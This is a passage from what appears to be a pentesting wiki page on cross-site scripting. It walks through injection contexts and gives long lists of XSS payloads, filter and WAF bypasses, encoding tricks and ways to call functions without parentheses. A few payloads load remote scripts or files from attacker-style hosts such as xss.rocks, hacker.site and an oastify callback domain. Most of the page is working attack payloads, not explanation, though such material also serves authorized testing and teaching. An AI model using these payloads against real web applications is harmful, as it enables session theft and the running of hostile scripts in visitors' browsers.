[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
### **Universal XSS**
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
Some **examples**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %}
[xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
{% endcontent-ref %}
## WAF bypass encoding image
## Injecting inside raw HTML
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Note: A HTML comment can be closed using**** ****`-->`**** ****or**** ****`--!>`**_
In this case and if no black/whitelisting is used, you could use payloads like:
```javascript
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\
Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context.
### Tags/Events brute-force
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
### Custom tags
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
If some kind of blacklist is being used you could try to bypass it with some silly tricks:
```javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Length bypass (small XSSs)
{% hint style="info" %}
**More tiny XSS for different environments** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
```
The last one is using 2 unicode characters which expands to 5: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
### Impossible - Dangling Markup
If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection.md)because you could **exploit** the vulnerability **without** executing **JS** code.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**Style events**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Within the attribute
Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\
Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
**Bypass inside event using HTML encoding/URL encode**
The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
Note that **any kind of HTML encode is valid**:
```javascript
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
```
**Note that URL encode will also work:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass inside event using Unicode encode**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Special Protocols Within the attribute
There you can use the protocols **`javascript:`** or **`data:`** in some places to **execute arbitrary JS code**. Some will require user interaction on some won't.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
**Places where you can inject these protocols**
**In general** the `javascript:` protocol can be **used in any tag that accepts the attribute `href`** and in **most** of the tags that accepts the **attribute `src`** (but not `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**Other obfuscation tricks**
_**In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute.**_
```javascript
<a href="javascript:var a=''-alert(1)-''">
```
Moreover, there is another **nice trick** for these cases: **Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** So, if you need to **escape** from the **string** using a **single quote** and you see that **it's being URL encoded**, remember that **it doesn't matter,** it will be **interpreted** as a **single quote** during the **execution** time.
```javascript
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**.
**Using Hex and Octal encode with `javascript:`**
You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` (at least) to declare **HTML tags to execute JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Reverse tab nabbing
```javascript
<a target="_blank" rel="opener"
```
If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### on Event Handlers Bypass
First of all check this page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) for useful **"on" event handlers**.\
In case there is some blacklist preventing you from creating this even handlers you can try the following bypasses:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **it's now possible to abuse hidden inputs with:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
```
And in **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:**
* **HTML encoding (HTML tags)**
* **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
* **URL encoding**
* **Hex and Octal encoding**
* **data encoding**
**Bypasses for HTML tags and attributes**
Read the[ Blacklist Bypasses of the previous section](./#blacklist-bypasses).
**Bypasses for JavaScript code**
Read the J[avaScript bypass blacklist of the following section](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
> .test {display:block; color: blue; width: 100%\}
and
> \#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
> \<a href=”” id=someid class=test onclick=alert() a=””>
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injecting inside JavaScript code
In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `<script>...</script>` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.
### Escaping \<script> tag
If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **escape closing the `<script>`** tag:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Note that in this example we **haven't even closed the single quote**, but that's not necessary as the **browser first performs HTML parsing** to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts.
### Inside JS code
If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
### Template literals \`\`
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**:
This can be **abused** using:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
```````````````
### Encoded code execution
```markup
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
### Unicode Encode JS execution
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
### JavaScript bypass blacklists techniques
**Strings**
```javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
```
**Special escapes**
```javascript
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
```
**Space substitutions inside JS code**
```javascript
<TAB>
/**/
```
**JavaScript comments (from** [**JavaScript Comments**](./#javascript-comments) **trick)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript new lines (from** [**JavaScript new line**](./#javascript-new-lines) **trick)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**JavaScript whitespaces**
```javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
```
**Javascript inside a comment**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**JavaScript without parentheses**
````javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
````
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Arbitrary function (alert) call**
````javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
## **DOM vulnerabilities**
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
## Other Bypasses
### Normalised Unicode
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass
Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag.\
Form example ([from this report](https://hackerone.com/reports/709336)), if you send the payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
The pair "Key","Value" will be echoed back like this:
```
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
```
Then, the onfocus attribute will be inserted:
.png>)
A XSS occurs.
### Special combinations
```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
```
### XSS with header injection in a 302 response
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Only Letters, Numbers and Dots
If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](./#javascript-function) to find how to abuse this behaviour.
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
```
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, which types could be indicated to load a script?
```html
<script type="???"></script>
```
The answer is:
* **module** (default, nothing to explain)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is a feature that you can package a bunch of data (HTML, CSS, JS…) together into a **`.wbn`** file.
```html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
* [**importmap**](https://github.com/WICG/import-maps)**:** Allows to improve the import syntax
```html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
```
This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) to remap a library to eval to abuse it can trigger XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** This feature is mainly to solve some problems caused by pre-rendering. It works like this:
```html
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
```
### Web Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) The following content types can execute XSS in all browsers:
* text/html
* application/xhtml+xml
* application/xml
* text/xml
* image/svg+xml
* text/plain (?? not in the list but I think I saw this in a CTF)
* application/rss+xml (off)
* application/atom+xml (off)
In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Special Replacement Patterns
